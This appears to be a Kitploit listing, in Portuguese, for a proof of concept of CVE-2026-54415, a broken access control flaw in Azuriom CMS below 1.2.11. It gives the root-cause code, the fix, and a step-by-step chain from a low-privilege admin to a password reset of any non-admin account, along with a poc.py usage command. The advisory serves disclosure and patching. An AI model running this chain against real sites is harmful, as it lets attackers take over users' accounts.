Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-54415-PoC — PoC para CVE-2026-54415 — Azuriom CMS (<1.2.11) Controle de Acesso Quebrado → assunção de conta | Kitploit
Ferramentas/GitHubGitHub/abdugafforov-bobur/cve-2026-54415-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAutenticaçãoAprendizado e Educação
GitHubabdugafforov-bobur/cve-2026-54415-poc

CVE-2026-54415-PoC

PoC para CVE-2026-54415 — Azuriom CMS (<1.2.11) Controle de Acesso Quebrado → assunção de conta

Ver Repositório
23há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-54415 — Controle de Acesso Quebrado do Azuriom CMS → Tomada de Conta

A ausência de autorização nas rotas de gerenciamento de servidores do admin no Azuriom CMS < 1.2.11 permite que qualquer admin com privilégios baixos (possuindo apenas admin.access) crie um token de servidor AzLink e assuma qualquer conta não-admin.

CVECVE-2026-54415
ProdutoAzuriom CMS
Afetado< 1.2.11
Corrigido em1.2.11 — commit 4b744bc
CWECWE-862 (Ausência de Autorização), CWE-269 (Gerenciamento de Privilégios Incorreto)
CVSS 3.18.1 Alta — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CVSS 4.08.6 Alta — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Este PoC é publicado para fins defensivos e educacionais contra uma versão corrigida. Execute-o apenas contra sistemas que você possui ou para os quais tem autorização explícita para testar. Atualize para Azuriom 1.2.11+.

✅ Verificado ponta a ponta contra uma instância local do Azuriom 1.2.10 — bypass de controle de acesso, criação de token, alteração de senha confirmada + login da vítima e limite de proteção do admin.


Causa raiz

Em routes/admin.php, todo o painel de admin é protegido por um único grupo can:admin.access, e espera-se que cada funcionalidade sensível adicione seu próprio middleware granular can:admin.*. Antes do 1.2.11, as rotas de gerenciamento de servidores não possuíam tal middleware:

root@kitploit:~
// routes/admin.php (vulnerável, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');

Qualquer usuário que consiga acessar o painel de admin (admin.access) pode, portanto, criar servidores. Não existia uma permissão admin.servers — ela não existia até a correção.

A correção (1.2.11)

O fornecedor criou uma nova permissão admin.servers e envolveu as rotas nela:

root@kitploit:~
// routes/admin.php (corrigido, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
    Route::resource('servers', ServerController::class)->except('show');
    Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
    Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});

O mesmo commit também adicionou as verificações de permissão anteriormente ausentes nas rotas de social-links e pages/posts.attachments.


Por que criar um servidor = tomada de conta

Criar um servidor gera um token de servidor de 32 caracteres (app/Http/Controllers/Admin/ServerController.php):

root@kitploit:~
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);

Esse token autentica a API AzLink (routes/api.php), cujo middleware VerifyServerToken confia em qualquer requisição que contenha um cabeçalho Azuriom-Link-Token válido. O AzLink expõe endpoints de gerenciamento de contas:

root@kitploit:~
POST /api/azlink/password   → change a user's password by game_id
POST /api/azlink/email      → change a user's email by game_id
POST /api/azlink/register   → create users
POST /api/azlink/user/{id}/money/{add,remove,set}

updatePassword recusa apenas quando o alvo isAdmin() — toda conta não admin pode ser assumida:

root@kitploit:~
public function updatePassword(Request $request) {
    // validates game_id + password
    $user = User::where('game_id', $request->input('game_id'))->firstOrFail();
    if ($user->isAdmin()) { return response()->noContent(); }   // only admins are protected
    $user->update(['password' => $request->input('password')]);
    ...
}

O token não requer um servidor de jogo acessível

A criação do servidor chama $server->bridge()->verifyLink() antes de salvar. Para o tipo mc-azlink, isso é incondicionalmente verdadeiro:

root@kitploit:~
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }

Assim, o atacante fornece qualquer address fictício, o servidor é salvo de qualquer forma, e o token novo é exibido de volta no painel dentro do comando de configuração do AzLink (/azlink setup <url> <token>).


Cadeia de exploração

root@kitploit:~
1. Autentique-se como um admin de baixo privilégio (apenas admin.access — NÃO admin.servers, que não existia)
2. POST /admin/servers   name=x&type=mc-azlink&address=127.0.0.1   → servidor salvo, token criado
3. GET  /admin/servers/{id}/edit                                   → leia o token do comando de configuração
4. POST /api/azlink/password   (cabeçalho Azuriom-Link-Token: <token>)  game_id=<vítima>&password=<nova>
5. Faça login como a vítima                                            → tomada total da conta

Uso

root@kitploit:~
python3 poc.py \
  --url https://target.example \
  --admin-user lowpriv_admin --admin-pass 'password' \
  --victim-game-id 1001 \
  --new-password 'Pwn3d!TakenOver'

O script faz login, cria um token de servidor, extrai-o, redefine a senha da vítima via AzLink e exibe o token + resultado. Consulte poc.py --help para todas as opções. Requer requests (pip install requests).


Remediação

  • Atualize para Azuriom 1.2.11 ou superior.
  • Audite admin_servers e revogue quaisquer tokens de servidor inesperados.
  • Aplique o princípio do menor privilégio: audite quais funções possuem admin.access.

Divulgação

  • Pesquisador / Relator: Bobur Abdugafforov (@abdugafforov-bobur)
  • Atribuído pela CNA: TuranSec
  • Publicado: 2026-06-17
  • Corrigido pelo fornecedor na versão 1.2.11

Referências

  • Commit da correção: https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e
  • Release: https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54415

Licença

MIT — apenas para testes de segurança autorizados e pesquisa.

Baixar ferramenta